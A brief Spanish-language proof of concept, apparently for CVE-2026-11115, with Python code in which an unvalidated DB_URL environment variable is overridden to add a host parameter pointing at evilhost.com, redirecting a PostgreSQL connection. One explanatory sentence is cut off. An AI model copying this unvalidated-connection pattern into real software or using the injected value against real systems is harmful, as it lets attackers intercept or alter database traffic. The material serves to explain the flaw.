
Prueba de concepto mínima en Python para CVE-2026-11115, que demuestra la inyección de cadenas de conexión a bases de datos mediante variables de entorno y la redirección a hosts de PostgreSQL controlados por el atacante.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
Una aplicación construye su cadena de conexión de base de datos a partir de una variable de entorno sin validación. Si un atacante puede influir en esa variable (p. ej., mediante una falsificación de solicitud del lado del servidor o una configuración incorrecta del pipeline de CI/CD), puede redirigir la conexión de base de datos a su propio servidor, interceptando o modificando datos.
host) para sobrescribir el host original.Ejecute la simulación:
pip install psycopg2-binary
python db_connector.py
El programa intenta conectarse a evilhost.com en lugar de localhost.